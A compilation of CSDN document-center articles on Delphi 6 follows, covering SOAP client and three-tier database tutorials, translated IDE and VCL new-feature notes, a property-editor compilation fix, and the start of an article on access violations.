1.New|Application 新建一个普通的 VCL 应用程序；
2.SaveAll ， Unit1 命名为 ClnMain ， Project1 命名为 Client ；
3.在 Form1 上放上 HTTPRIO1, Edit1, Button1, Label1, Label2 等控件，如下图：

其中 Edit1 的 Text 设置为 1 ， Button1 的 Caption 设置为 GetEmployee ， HTTPRIO1 的 URL 属性设置为： http://localhost:1024/Server.wadSoapDemo2/soap ；
4.New|Web Services|Web Services Importer ，与前一例子相似，只是导入的 URL 改为： http://localhost:1024/Server.wadSoapDemo2/wsdl/ISoapEmployee ；
5.如果服务端的 WSDL 如前面所述的那样，则将导入三个单元，分别包含了 TWSDLSOAPPort、 TEmpInfo、 ISoapEmployee ，其中 ISoapEmployee 是我们所认识的 SOAP 接口单元， TEmpInfo 是我们在服务端定义的数据类型， TWSDLSOAPPort 是 Delphi 内部定义的一个数据类型，我们曾在服务端的 WSDL 中看到过这个类型。 Save All ，将 TWSDLSOAPPort 的单元保存为 ClnSoapPort ，将 TEmpInfo 保存为 ClnDataType ，将 ISoapEmployee 保存为 ClnSoapIntf 。注意要将 ClnSoapIntf 单元中的 Uses 中的两个名为 UnitN 的单元相应改为 ClnSoapPort 和 ClnDataType 。由于这三个单元的内容都不需要改变，只要服务端是正确的，可以不必了解这三个单元的内容（特别是 ClnSoapIntf 和 ClnDataType 与服务端的相应单元基本相同），所以这里也就不列出它们的内容了。
6.双击 Button1 输入下面的代码：

procedure TForm2.Button1Click(Sender: TObject);
Var
    ei : TEmpInfo;
begin
    ei := ( HTTPRIO1 As ISoapEmployee ).GetEmployee( StrToInt( Edit1.Text ) );
    If ( Assigned( ei ) ) Then
    Begin
        Label1.Caption := ei.Name;
        Label2.Caption := ei.Phone;
    End;
end;

7.编译运行，在 Edit1 中输入"1"或其它数据库中没有相应记录的员工号，按 Button1 ， Label1 和 Label2 都将显示空；输入"2"或其它数据库中有记录的员工号，则将在 Label1 中显示员工全名，在 Label2 中显示此员工的电话号码，如下图：

做过一遍再看这个例子也不是那么复杂的。

猛禽 Jun.20-01, Oct.20, Oct.24


CSDN_文档中心_DELPHI 6 抢先研究-- BizSnap/SOAP/WebService 之三 -- 用 SOAP 实现三层数据库应用

DELPHI 6 抢先研究-- BizSnap/SOAP/WebService 之三

-- 用 SOAP 实现三层数据库应用

在前面的例子（见 《DELPHI 6 抢先研究 -- BizSnap/SOAP/WebService 之一 -- 一个 Hello world! 的例子》 和《DELPHI 6 抢先研究-- BizSnap/SOAP/WebService 之二 -- 通过 SOAP 传递自定义类型数据》 ）中我们看到了 SOAP 的强大功能，特别是第二个例子。如上一个例子所示，我们只要利用 Midas/DataSnap 的 Provide/Resovle 架构，将 Data/Delta 包做成自定义类型，在 Web services 与客户端之间传递，便可以通过 SOAP 实现三层数据库应用。这固然是一个方法，但未免麻烦一些，其实 Delphi 6 早已为我们准备好了，而且她做得更好，她将 IAppServer 接口进行 SOAP 封装，使得我们可以用和 Midas/DataSnap 一样的方式来开发基于 SOAP 的多层数据库应用。
当然还是以一个例子来说明：

服务端：
1.New|WebServices|Soap Server Application ，如下图：

这次我们用 Web App Debugger （详见《DELPHI 6 抢先研究 -- Web 应用开发及调试》），设置其 CoClass Name 为 wadSoapDemo3 ， 如下图：

2.SaveAll , Unit2 命名为： SvrWMMain ， Unit1 不改名， Project1 命名为： Demo3 ；
3.New|WebServices|Soap Server Data Module ，如下图：

在弹出的对话框中输入 Class Name 为 SoapDemo3DM ，如下图：

确定后将此单元保存为 SvrDMSoap ；
4.在 SoapDemo3DM 中放入三个控件： SQLConnection1, SQLDataSet1, DataSetProvider1 ，如下图：

其属性设置为：

SQLConnection1 ConnectionName := IBLocal;
LoginPrompt := false;
Params.Values['Database'] := '[...]\Examples\Database\Employee.gdb';
// 上面的 [...] 为你的 InterBase 安装路径
SQLDataSet1 SQLConnection := SQLConnection1;
CommandText := 'select EMP_NO, FULL_NAME, PHONE_EXT from EMPLOYEE';
DataSetProvider1 DataSet := SQLDataSet1;

5.服务端就这样完成了，不用写一行代码，编译并运行，然后退出即完成 Web App Debugger 应用的注册。
启动 Web App Debugger ，再启动浏览器，在地址栏输入： http://localhost:1024/Demo3.wadSoapDemo3/wsdl 即可看到三个接口：

Port Type | Namespace URI | Documentation | WSDL
IWSDLPublish | urn:WSDLPub-IWSDLPublish |  | WSDL for IWSDLPublish
IAppServer | urn:Midas-IAppServer |  | WSDL for IAppServer
ISoapDemo3DM | urn:SvrDMSoap-ISoapDemo3DM |  | WSDL for ISoapDemo3DM

这其中除了有 DataModule 的接口 ISoapDemo3DM 以外，最重要的是多了一个 IAppServer 接口，只要有这个接口，就有 Midas/DataSnap 。

接下来做客户端：
1.New|Application 新建一个一般 VCL 应用程序；
2.SaveAll ， Unit1 命名为 ClnMain ， Project1 命名为 Client ；
3.在 Form1 上放上 SoapConnection1（在 WebService 页中的最后一个）， ClientDataSet1, DataSource1, DBNavigator1, Button1, DBGrid1 等控件，如下图：

设置各自的属性如下表，如果设置正确的话，应该如上图那样在 DBGrid1 中显示出数据来：

SoapConnection1 | URL := 'http://localhost:1024/demo3.wadsoapdemo3/soap';
ClientDataSet1 RemoteServer := SoapConnection1;
ProviderName := 'DataSetProvider1';
Active := true;
DataSource1 | DataSet := ClientDataSet1;
DBNavigator1 | DataSource := DataSource1;
DBGrid1 | DataSource := DataSource1;
Button1 | Caption := 'Apply';

4.双击 Button1 输入下面的程序：

procedure TForm2.Button1Click(Sender: TObject);
begin
    ClientDataSet1.ApplyUpdates( -1 );
end;

5.至此，客户端程序也完成了，编译并运行（确定 Web App Debugger 已运行），可以看到服务端运行一会儿，它的窗体闪现几秒钟后客户端程序即可取得数据并显示出来。现在可以通过 DBNavigate/DBGrid 对数据进行操作，操作完成后按 Apply 按钮即可将数据修改提交到服务端，此操作会运行服务端程序。

就这样，我们只写了一行程序就完成了一个基于 SOAP 的多层数据库应用。

http://msrc.126.com 猛禽 Oct.20-01


CSDN_文档中心_Delphi 6 新特性-IDE部分（中文）

Delphi 6 新特性

原著：Borland Corporation

翻译：Musicwind®

开始日期：2001-07-13

结束日期：2001-07-14 （完成IDE特性部分）

声明：

以下文章的内容取自Delphi 6附带的帮助文件。

版权所有Borland Corporation。

翻译此稿事先没有得到Borland的批准，鲁莽之处，还望Borland多多原谅。

有什么新鲜的?

Delphi 6新增了一些特性并增强了原有的功能，主要有以下几个方面：

IDE（整合开发环境）

Internet

XML（扩展标记语言）

Compiler（编译器）

COM/Active X

Database support（数据库支持）

CORBA

Actions（动作）

Custom Variants（可定义的可变类型）

VCL 单元和特性

RTL单元和特性

Cross-platform development（跨平台开发）

Translation tools（翻译工具）

Deployment changes（发布机制）

Help system extensibility（扩展的帮助系统）

注意：某些特性不是所有Delphi版本都有。

IDE新特性

IDE的新特性主要体现在以下几个方面：

Data modules（数据模块）

Object TreeView（对象树视图）

Code editor（代码编辑器）

Object Inspector（对象检视器）

Code Insight tools（代码洞察工具）

Project Manager（工程管理器）

File menu（文件菜单）

New Items dialog box（新建条目对话框）

Internet toolbar（Internet工具条）

Component palette changes（组件面板的变化）

Key mapping modules（键盘映射模块）

Environment Options dialog box（环境设置对话框）

Directories dialog box（目录设置对话框）

Context menu display（上下文菜单）

Writing design-time packages（书写设计时间包）

Data modules（数据模块） (所有版本)

Delphi 5中的Data Module 设计器被分割为三个部分：

1. 标准的data module (和Delphi 4中的相同)，替换了原先的Components page（组件页面）。

2. Object TreeView替换了原先位于设计器左边的部分。

3. Diagram page（图表页面）替换了原先数据图表页的内容。

Object TreeView （对象树视图）(所有版本)

位于IDE的左上角这个位置的树视图，以一个树的图表形式，显示出Form,Data Module以及Frame（帧，或称框架）上的可视和非可视组件之间的逻辑关系。

此视图与Object Inspector以及Form 设计器保持同步。因此当你在其中任何一个地方选中某个组件，则其他两个设计工具中同时获得了更新。此外，代码编辑器中的图表页只响应来自于Object TreeView中的组件拖动和释放。

Object TreeView 的新增功能：

通常TreeView位于Object Inspector窗口之上。如果不显示，则可以通过按下Alt+Shift+F11，或者在主菜单中选择View|Object TreeView 来让它重新显示。

TreeView 包含了在Form,Frame以及data module 中的组件。

TreeView 包含可视组件也包含非可视组件。

新增一个工具条，包含新建，删除，移上，移下等按钮。这些按钮依据组件的属性而工作。举个例子，假如你增加了一个数据集组件（如TClientDataSet），选择Aggregates （总计）属性后，点击新建按钮可以增加一个字段。假如有许多条目可以增加，则点击按钮后会弹出一个菜单列表以供选择。

增强的图形用以区别各个不同种类的元素，比如可视化的父亲与子组件，非可视化的组件，以及其隐含或直接的属性。举个例子来说，一些隐含创建的组件，比如一个缺省的Session（会话）显示为黑白两色。

原先，当一个组件的属性值没有填满时，则对应的图标被包含在一个红色的圆圈中。现在，这种情况将导致一个红色的问号标记出现在组件图标的左边。

点击右键，将出现比原先的Data Module所提供的更为丰富的菜单项。

Code editor（代码编辑器）

Surface designers （表面编辑器）(专业版和企业版)

代码编辑器现在已经支持表面的编辑器，或包装载的可定义视图。这些视图通过位于状态栏中的页面标签切换。唯一的一个内置的视图是标准的代码页。依你的Delphi版本而定，可以使用的代码编辑器的页面有：

图表页Diagram page (专业版和企业版)

代码编辑器上的图表页面提供了可视化的工具，可以以画框架图以及文字的方式来描述可视化组件以及非可视化组件之间的依赖关系。作为一个程序文档辅助工具，图解不仅示意了这些依赖关系，并且允许你对这些关系添加备注。图表页面上不会出现任何组件除非你从Object TreeView上拖拽下来。

新的特性：

你可以在Object TreeView中选中多个并且一次把它们放置到图表页面上。

你可以在图表页的左边的编辑框中输入所创建的每张图表的名称以及相关描述，并且可以通过下拉的列表框找到以前的图表。

有一个工具条位于图表页的上部，其中包含用来关联组件的按钮和添加备注的按钮。

属性的关联自动以标签方式显示。你可以将它们拖动到这一页的任何位置。

你可以为工程中的每一个data module，form（窗体），或Frame（帧）创建图表。

WebSnap pages(Web利器 )(企业版)

当使用WebSnap（Web利器）创建Web服务器应用时，Web页模块中的组件将为HTML脚本，HTML结果，预览，XML树以及XSL树产生许多页面。

可拖动的页面标签 (所有版本)

位于代码编辑器顶部的单元标签可以通过拖动来重新编排。比如，假如你有两个单元分别是About和TextEditor，则你可以拖动About到TextEditor的右边。

Object Inspector (所有版本)

现在，Object Inspector（对象检视器）位于Object TreeView 的下方。

新特性：

实例列表框

实例下拉列表框位于Object Inspector的顶部：

新特性：

实例列表显示列表中所有对象的类名，而不仅仅限于位于顶端的对象。

你可以组件命名为与其所在的Form或者data module一样的名字。比如，你可以在Form1上添加一个按钮组件，然后将其改名为Form1。则两个名字都在实例列表中出现。

实例列表框可以为选中的组件显示一个提示，这个特性在该组件的名字比列表框要宽的时候很有用。

实例列表框可以被隐藏。

属性对话框Properties dialog box

Object Inspector提供的上下文菜单（弹出菜单）新增一个对话框属性的条目，这个菜单项也可以通过选择Tools|Environment Options ，然后点击Object Inspector 也来访问。它提供了以下几个界面相关的选项：

快速定制Object Inspector的颜色：

可以显示或者隐藏实例列表框、列表框中的类名称、状态栏、背景格、以及只读属性等。

引用组件的属性可以进行内嵌扩展，无论属性页或事件页都可显示。

内嵌引用组件扩展

内嵌引用组件扩展允许访问组件属性的属性和事件，而无需真正去选择引用的组件。

新增特性包括：

缺省情况下，引用其他组件的属性显示为红色，而被引用组件的属性颜色为绿色。

缺省情况下，引用其他组件的事件显示为红色，而被引用组件的时间为绿色。

接口的属性同样可以做内嵌的引用。

Code Insight tools（代码洞察工具） (所有版本)

代码洞察技术在代码完成以及代码参数两方面有了增强。

Code completion（代码完成）

当你在一个例程的空白行上按下(Ctrl+Space) 以激活代码完成的功能时，将有一个弹出的列表框显示附带的RTL（运行时间库）单元中的标识符，即使当前单元没有引用这些RTL单元。(在中文的操作系统中可能不能使用，因为Ctrl+Space是呼叫输入法的快捷键 –译者注)

新特性：

过滤掉了被属性的读和写条款所引用的所有方法。列表框中只显示属性以及属于接口类型的单独方法。

输入即时过滤。并且选中一个条目时，已经输入的文字被自动删除。

在接口部分声明类的时候，支持多选。

显示的内容包括继承的、虚的方法，以及接口的方法和属性。

弹出窗口的大小可以调整。

对于不同的条目用不同的颜色以示区别。比如，过程为灰色，函数为深蓝色。你可以通过更改注册表中的内容来更改系统默认颜色。

支持引用到的所有单元的WM_xxx, CM_xxx, 和CN_xxx等类似名称的消息方法。

抽象方法现在显示为红色。所有其它的代码洞察的内容显示抽象方法的时候使用与普通过程和函数一样的颜色。

代码参数

假如一个条目为带参数的过程或者函数，则若输入”(”时，马上会显示出代码参数的提示信息。

新的键盘映射模块(所有版本)

Visual Basic方式的键盘绑定集被加入到现有的键盘映射模块中。

工程管理器中的包(所有版本)

所有的打开的包的工程文件被显示在工程管理器视图中。这些包的工程文件的参考节点可以别用来当浏览打开的包的时候帮助定为当前的活动的工程，即使当一个包并不包含在当前的工程组中。

文件菜单

文件菜单的File|New条目获得了更新。它显示六种类型的工程（应用程序，CLX应用程序，Data Module，Form，Frame，和单元）以及其他选项，该其他选项将引出一个选择新建项目的对话框。

新建条目对话框

新建条目对话框，或称对象仓库，新增加三个页面的内容以及新的向导和数据模块。

WebSnap页面，包含了WebSnap应用程序，WebSnap数据模块以及WebSnap也页面模块的内容。

WebServices页面，包含了Soap服务端应用程序，Soap 服务端数据模块以及WebServices导入者。

Corba页面，包含了CORBA客户端应用程序和CORBA服务端应用程序等内容。也可以通过菜单Tools|Regenerate CORBA IDL Files来访问相关的向导。

Internet工具条 (企业版)

Internet工具条是新引入的，用来帮助你创建一个WebSnap的Web 服务端应用程序。选择View|Toolbars|Internet 来显示该工具条。工具条上可以访问三个新引入的向导，分别是新建WebSnap应用，新建WebSnap页面模块，新建WebSnap数据模块以及一个内置的编辑器。这些按钮与用WebSnap创建服务端应用程序时的许多最常用到的函数一致。

组件面板的变化

在Additional（附加）页面上新增加了动作频道组件，用于管理组件列表以及定制的菜单和工具条，包含下列内容：TActionManager（动作管理器），TActionMainMenuBar（动作主菜单条），TActionTooBar（动作工具条）以及TCustomizeDlg（定制对话框）等。

对于CLX的应用程序，Common Controls（公用控件）页面代替了Win32页面。(专业版和企业版)。

新的WebSnap页上增加了一些组件以支持创建Web服务端程序时的多个模块。(企业版)。

新增了WebServices页面，提供了对创建多层应用程序（基于网络或Web）的支持。（企业版）

数据库组件也有些更改。（专业版和企业版）

一个新的COM+页面提供了COMAdminCatalog 组件。（专业版和企业版）

增加了三个新的基于Internet协议的组件页，包括Indy Clients, Indy Servers, 和Indy Misc 。Internet Direct(Indy)组件是开放源码的基于阻塞Sockets的Internet协议的组件。（专业版和企业版）

环境设置对话框

菜单Tools|Environment Options 的对话框新增四个页面：

Designer（设计者）页-提供了一些从Preference（参数）页分离出来的设置项，以及一个新的设置项：是否显示扩展的提示信息。

Environment Variables（环境变量）页-你可以在此查看，创建，编辑，以及删除、覆盖用户自定义变量以及系统变量。

Object Inspector 页-你可以使用新的属性设置，也可以在Object Inspector（对象检视器）中点击右键，然后在弹出的菜单中选择属性设置来打开对话框设置参数。

Internet页-你可以在此设置你期望在你的WebSnap程序中用到的文件类型以及脚本选项。（企业版）

目录（路径）设置对话框

目录设置对话框用来编辑目录条目，比如库单元的路径等，遇到非法路径时自动显示为灰色。你可以点击删除非法路径按钮将它删除。

上下文菜单显示

对于Form上选中的对象，或是一个选中的窗口，或是IDE中任何获得了焦点的元素，你可以按下Alt-F10或者Menu键（只在微软键盘上有）以呼出对应的上下文菜单。

书写设计时间包

你必须将DesignIDE.dcp加入到包的requires（前提）列表中。


CSDN_文档中心_Delphi 6 新特性-VCL单元变化及特性（中文）

Delphi 6 新特性

原著：Borland Corporation

翻译：Musicwind®

开始日期：2001-07-13

结束日期：2001-07-14 （完成VCL单元变化及特性）

声明：

以下文章的内容取自Delphi 6附带的帮助文件。

版权所有Borland Corporation。

翻译此稿事先没有得到Borland的批准，鲁莽之处，恳请Borland多多原谅。

有什么新鲜的?

Delphi 6新增了一些特性并增强了原有的功能，主要有以下几个方面：

IDE（整合开发环境）

Internet

XML（扩展标记语言）

Compiler（编译器）

COM/Active X

Database support（数据库支持）

CORBA

Actions（动作）

Custom Variants（可定义的可变类型）

VCL 单元和特性

RTL单元和特性

Cross-platform development（跨平台开发）

Translation tools（翻译工具）

Deployment changes（发布机制）

Help system extensibility（扩展的帮助系统）

注意：某些特性不是所有Delphi版本都有。

VCL单元及特性

新的VCL单元以及新的特性（所有版本）

新增组件：

TLabeledEdit

TLabeledEdit是ExtCtrls.pas单元中新增加的，它演示了如何使用子组件。TLabeledEdit是一个带有标签的编辑控件。标签（Label）是这个控件的属性之一。

TValueListEditor

ValueListEditor 是一个自定义的栅格组件，它使用TStrings保存键/值配对。它的工作方式类似于对象检视器（Object Inspector）。

TComboBoxEx

TComboBoxEx是一个新的组合框控件，它允许在列表文字的旁边出现图片。

TColorBox

TcolorBox是一个新的组合框组件，用来选择各种颜色。

改进的特性包括：

大多数窗口控件（WindowControl）都发布了以下Bevel相关属性：

BevelEdges

BevelInner

BevelOuter

BevelKind

BevelWidth

子组件(Subcomponents)

现在，组件可以拥有创建子组件的其他组件。举例来说，一个组件可以有一个组件引用的属性，这个被引用的组件，可以是内部的（也就是一个子组件），也可以是外部的（普通的组件引用）。如果引用的是内部的组件，则这个子组件的不被Form所拥有，而是被放置在Form上的组件所拥有。这意味着组件可以将其内部的子组件发布出来，并且能够被正确的流化。并且，对象检视器已经被修改为支持查看组件内部的子组件属性（比如Font属性）。要创建一个有子组件的组件，需要调用TComponent.SetSubComponent方法。

可发布的接口属性(Publishable interface properties)

接口属性（该属性的类型是一个接口）现在已经可以被发布，当且仅当这个接口的实现的类是一个可以流化的组件。

这意味着现在你可以在对象检视器中看到接口类型的属性，并且将会出现一个支持此接口的组件列表以供选择。

新增单元及变动

CheckLst.pas

TcheckListBox增加了几个新的属性，包括AutoComplete，HeaderColor以及HeaderBackGroundColor。

Classes.pas

TList有一个新的Assign方法，不仅完成拷贝功能，也支持一些简单的集合操作。

TCollection新增两个受保护的方法，用来允许派生的类对于增加和删除条目的操作作进一步的处理。这两个新方法是Added和Deleting，两者都没有缺省的实现。为了保持TCollection的精简，没有增加OnAdded和OnDeleting事件。然而，在派生类中却很容易实现这些。此外，TCollection新增一个Owner属性以便对拥有者进行标识。

TStringList新增属性CaseSensitive(大小写敏感)，允许你控制子串列表的各项操作（排序，匹配）是否大小写敏感。

TDataModule从Forms单元移到现在这个单元中（Classes.Pas），去处了对可视化控件的依赖。这使得你可以在不包含用户界面的情况下写出更小的服务段应用。

Thread新增FatalException属性，以标识任何导致线程正常运行的异常。

TStream重载了Seek（搜索）函数，允许Int64类型的值来标识位置。派生的类可以覆盖其中一个重载，但不能覆盖所有。

TinterfacedPersistent是一个新的持久对象的基类，不是组件，但是可以实现接口。

ComCtrls.pas

TtreeView的CreateTreeNodes方法是新增加的。

简单的节点的创建，并且增加了一个事件，使得Tree的使用这不必为了要覆盖节点的类而去重新创建一个派生类。并且AddNode也作了修改，让你可以将你想要加入的节点（任何类型）传递给它。

增加一个OnAddition事件，该事件在节点被增加时触发。

TreeView的排序Api作了增强（功能上）和简化（使用上）。现在你可以对子树进行递归排序，对顶层节点进行非递归的排序。TCustomTreeView和TTreeNode类现在对AlphaSort和CustomSort提供了一致的定义，并且这些方法同时被增加到TTreeNodes中。所有的改动都是后台的，与前一版本保持兼容。

增加MultiSelect(多选)相关四个属性以及八个方法。

TListView新增了CreateListItems方法，该方法与TTreeView的CreateTreeNodes类似。

TStatusBar-可调整大小的夹子现在可以显示，即使状态栏的父亲不直接是Form。只要状态条的右下角处于Form的右下角位置，则该夹子显示。

TDateTimePicker新增Format属性，用于控制日期值的显示方式。

THeaderControl新增许多新的属性和事件以支持列的拖放。一个新属性HotTrack允许当用户的鼠标在顶部区域上停留时，该区域以高亮显示。

TToolBar新增Menu属性，可以自动在工具条上添加与Menu的菜单项对应的许多按钮。当用户使用定制对话框来定制工具条时，会有一系列的事件触发。

Contnrs.pas

Last（最后）和First（最先）两个函数(属性)被增加到TObjectList，TComponentList以及TClassList中。这些函数的返回值依类的不同而不同。

TStack（栈），TQueue（队列），TObjectStack（对象栈）以及TObjectQueue（对象队列）的Push现在改为一个函数，简单的返回被推入到栈（或者队列）中的对象。就像推入，然后查看一样。当要推入在推入时刚创建的对象时，这一点非常有用（译者注：其实这一点，Borland应该早就考虑到才是!）。

TBucketList和TObjectBucketList是简单的哈希表。

Controls.pas

TCustomListControl是一个新的公用基类，用于表达一组条目的列表控件（比如组合框，列表框和列表视图等）。它引入了一些新的方法用于操纵将要被子孙类继承的列表。

TDragObjectEx，TDragControlObjectEx以及TDragDockObjectEx是三个新的拖拽对象，拖拽操作结束后，它们可以自动释放。他们对应于TDragObject，TDragControlObject和TDragDockObject，区别在于老的版本不能够在拖放操作完成时自动释放。

TControl新增两个方法：ClientToParent和ParentToClient，用来在父亲与子女之间换算坐标。工作方式与ClientToScreen和ScreenToClient类似。

TWinControl新增一个重载的方法PaintTo，参数改为Canvas（画布）而非HDC（设备描述表句柄）。

TModalResult被移至Forms.pas中。此外，增加以下几个支持函数：

function IsPositiveResult(const AModalResult: TModalResult): Boolean;

function IsNegativeResult(const AModalResult: TModalResult): Boolean;

function IsAbortResult(const AModalResult: TModalResult): Boolean;

function IsAnAllResult(const AModalResult: TModalResult): Boolean;

function StripAllFromResult(const AModalResult: TModalResult): TModalResult;

DbCtrls.pas

TDBLookupListBox和TDBLookupComboBox新增NullValueKey属性，允许用户使用空值(Null)赋值。

TDBComboBox新增AutoComplete（自动完成）和AutoDropDown（自动下拉）属性。

TDBListBox也新增AutoCompelete属性。

TOpenDialog新增OptionsEx属性(译者注：该属性用来设置是否出现win2000特有的位置工具条)，同样，保存对话框也新增此属性。

ExtCtrls.pas

TImage-Proportional(比例)属性被增加，用于控制图像的高宽比而不论图像控件的尺寸如何。

Forms.pas

TApplication（以及TApplicationEvents）新增OnSettingChange事件，用来通知系统设置的改变。

TForm新增AlphaBlend，AlphaBlendValue，TransparentColor以及TransparentColorValue等属性以支持分层的Form。

TScreen提供了获取桌面工作区大小的一系列属性（WorkAreaRect，WorkAreaTop，WorkAreaLeft，WorkAreaHeight，WorkAreaWidth）。另外，还有一系列的新方法允许你定位哪个监视器更加与点，矩形，或者窗口相匹配。

TMonitor扩展了多监视器的支持，提供了当前的主监视器，WorkareaRect以及BoundsRect等属性。

新增AutoDragDocking（自动停靠）支持。这一特性允许你关闭应用程序的自动停靠功能。另外，在Delphi的选项设置对话框中允许你修改这么一个标志。

TModalResult声明被移到Control.pas单元中。

Graphics.pas

新增TFontRecall, TPenRecall 和 TBrushRecall三个新类，允许你快速存取font（字体），pen（画笔）和brush（刷子）。他们均从TRecall(在Classes单元中声明)派生而来，TRecall需要与TPersistent一起使用。

系统颜色经过排序便于查找。

在原先16种颜色的基础上新增4个：

clMoneyGreen

clSkyBlue

clCream

clMedGray

ImgList.pas

Draw，DrawOverlay和GetIcon方法均被加上Overload（重载）标记，便于你覆盖图像列表的属性设置。

IniFiles.pas

Ini文件开始支持使用流读写二进制数据。

TMemIniFile支持控制子串是否大小写敏感。

THashedStringList是一个新的TStrings的派生类，使用内部的哈希(杂凑)表提高访问速度。

Masks.pas

EditMask（掩码编辑框）和文本使用自定义类型因此他们的属性编辑器更加有用。

Menus.pas

TMenuItem增加一个AutoCheck(自动标记)属性，用来标记当用户点及菜单条目时，是否自动在已经标记和未标记之间切换。

Registry.pas

TRegistry开始支持使用流读写二进制数据。

StdCtrls.pas

OnCloseUp和OnSelect事件被增加到TCustomComboBox中（TComboBox也一样）。OnCloseUp事件在组何况的下拉列表关闭时触发（与OnDropDown触发的时机相反）。OnSelect在列表的东西被选中时触发（或者当上下滚动可选值时使得组合框的内容被改变时）。组合框新增AutoCompelete属性，缺省为True。

TListBox新增对两个风格的属性：lbVirtual和lbVirtualOwnerDraw。两个风格用于支持虚的列表框，即不保存任何条目。通过设置Count属性可以指定条目的个数，然后在OnData，OnDataFind，和OnDataObject事件中提供条目（以及相关的对象）。

TypInfo.pas

现在调用对象的GetPropInfo方法是安全的了。假如对象没有任何RTTI信息，则简单的返回nil。

增加FreeAndNilProperties。它将释放(free)并且置空(nil)支持RTTI的对象的所有对象属性。注意它将对所有的对象，包括引用的对象进行此项操作，所以最好先将被引用的对象释放，置空。


CSDN_文档中心_Delphi 6.0中属性编辑器的解决方案

Delphi 6.0中属性编辑器的解决方案

Delphi 6.0中属性编辑器的解决方案

Delphi中用户可以自己声明属性编辑器在程序设计期间对第三方控件进行设计，对属性编辑器的声明可以在注册控件的时候通过RegisterComponentEditor过程进行定义，具体为：
procedure RegisterComponentEditor(ComponentClass: TComponentClass; ComponentEditor: TComponentEditorClass);
当然，用户在注册前要定义自己的属性编辑器，下面是一个例子：
TOutlookBarEditor = class(TComponentEditor)
function GetVerb(Index: Integer): string; override;
function GetVerbCount: Integer; override ;
procedure Edit; override;
procedure ExecuteVerb(Index: Integer); override;
end;

其中最关键的部分在于对RegisterComponentEditor的引用。
在Delphi5.0中，可以直接将$(DELPHI)\Source\ToolsAPI目录下的DsgnIntf.pas文件拷贝到控件的设计目录下或者拷贝到$(DELPHI)\Lib目录即可。
在Delphi6.0中，Delphi将文件分解成DesignIntf.pas和DesignEditors.pas两个文件，所以引用时要将$(DELPHI)\Source\ToolsAPI目录下的DesignIntf.pas和DesignEditors.pas两个文件拷贝到控件的设计目录下或者拷贝到$(DELPHI)\Lib目录。
当然，如果你的Delphi Package的搜索路径或者Delphi IDE的搜索路径可以搜索到$(DELPHI)\Source\ToolsAPI目录就省去此麻烦。

但是，在Delphi 6.0中，如果就此编译，会出现找不到Proxies.dcu文件的问题。因为Proxies被编译了，在Delphi的目录中根本就找不到此相关文件，它已经被编译到designide.dcp文件中，解决方案很简单，就是在你的Package中引用designide.dcp文件即可，具体作法是：
Project－＞View Source－＞在requires部分加入对designide的引用即可。

由于此部分文件只是在设计期间才有效，所以你的Package在设计时就要注意：
不要在运行期间将在进行期间使用的文件加入对DesignIntf.pas和DesignEditors.pas两个文件的引用，否则依然会出现找不到Proxies.dcu文件的问题，要将文件脱离！

当然，如果你的Package要在Delphi 5.0及Delphi6.0下同时能运行，那就要下点功夫通过编辑器的版本进行控制，Delphi 6.0的编辑器版本是VER140，Delphi 5.0的编辑器版本是VER130，下面是本人的一个真实的引用文件：
uses
Classes, {$IFDEF VER140}DesignIntf, DesignEditors{$ELSE}DsgnIntf{$ENDIF};

Package部分由于版本不同而对不同的版本要进行不同的设计，再此就不叙述了！

其它补记：由于Delphi 5.0和Delphi 6.0对过程及参数的定义区域不同而出现错误，所以在编写两个版本的Package时一定要注意引用虚函数时出现的问题。例如对TControl控件的SetAutoSize(Value: Boolean)过程的引用：
在Delphi 5.0中定义为：
private
procedure SetAutoSize(Value: Boolean);
而在Delphi 6.0中定义为：
protected
procedure SetAutoSize(Value: Boolean); virtual;
此时的定义要根据自己的实际情况定义了，可不能随便定义了！

Starfarm--->Docn Hank(starfarm@263.net)

2001.11.13


CSDN_文档中心_Delphi Access violations 问题的解决之道

Your application will be shut down!

Page 1 : What access violations are and how to prevent AVs at design-time.

Access Violation, General Protection Fault or Invalid Page Fault, the name changes, but the nature of the error is always the same. Access Violation is a phrase that users of personal computers see when an application they are running tries to access storage that is not designated for their use - and crashes.

Access violation at address <HEX_value>
in module <Application.Exe>.
Read of address <HEX_value_2>

If Windows applications were able to write outside of its assigned storage area, it could overwrite other applications' or the operating system's instructions and data. If that should happen, the operating system would "crash" or close down in some way and you would have to reboot the operating system. For example, when a program error occurs in Windows NT/2000, Dr. Watson steps in and stops the program, taking some quick diagnostic stats, recording them in a text file.

Access Violations are some of the most frustrating errors encountered in Windows programming. The purpose of this article is to help you find the solution to your AVs with Delphi. To start with, access violations have nothing to do with Microsoft Access.

We can divide AVs encountered while developing with Delphi in two major types: runtime and design time.

Access Violations at Design-Time
Design time AVs are experienced when starting and closing the Delphi IDE or building a Delphi project.

Hardware
AV messages that crop up while your computer is in operation can be generated by various different sources, including the system BIOS, the operating system or hardware driver routines. Some video, sound or network cards can actually cause AVs in Delphi. Why? Every card in your machine comes with device drivers. Depending on the manufacturer, the version of Windows, and the version of Delphi used you may experience problems. There are some steps that can be taken to help resolve these issues:

· Take the steps necessary to verify that there are no conflicts between your installed devices.

· Sometimes lowering the resolution will help stabilize a quirky video card driver.

· Insure that if you are using a dual processor motherboard that the step revision for each processor is the same.

· Always use the latest driver for all of the components in your system.

Software
Although Windows is the most popular operating system for Intel machines, due to the extreme fragility and bugginess of Windows, misbehaving applications can readily crash the OS (and the OS sometimes crashes itself spontaneously). There are ways that you can help your chances of having a more stable programming environment, which in turn will help to prevent certain AVs.

· Although Windows 9X is quite popular, Windows NT/2000 has proven to be a much more stable environment for almost all Windows coding platforms.

· Ensure that you have installed the latest service packs for NT/2000. With each service pack released, you will find that your machine will become more stable.

· One excellent method of proactive error prevention is to always keep the current with all updates and patches for whatever edition and version of Delphi (BDE, ADO, ...) that you are using. Always have the latest patch for Delphi - the number of AVs, especially design time violations, will drastically decrease.

· If you are getting random access violations in the IDE, you have most likely installed a bad component or package or a wizard that was not written/compiled for your Delphi version. Try uninstalling custom components one by one (or package by package) until the problem goes away, then get in touch with the component vendor regarding this issue.

· Check to see whether if there is anything unusual installed on the machine with the program that crashes. Curious shareware utilities and beta products are AV favorites.

· An access violation can also occur because a system setting is wrong. If you repeatedly encounter the same error message, record the details and call the company that makes the software that seems to be causing the message.

That is all I can suggest for design-time access violations, the rest of the article deals with run-time AVs and how to make sure your application will not cause them!

Your application will be shut down!

Page 2 : The most common run-time Delphi access violations and how to prevent them.

It happens with any software development: you write the application, test it, and send it out into the wide world. Then a user calls up to tell you that your pride and joy has fallen flat on its face.

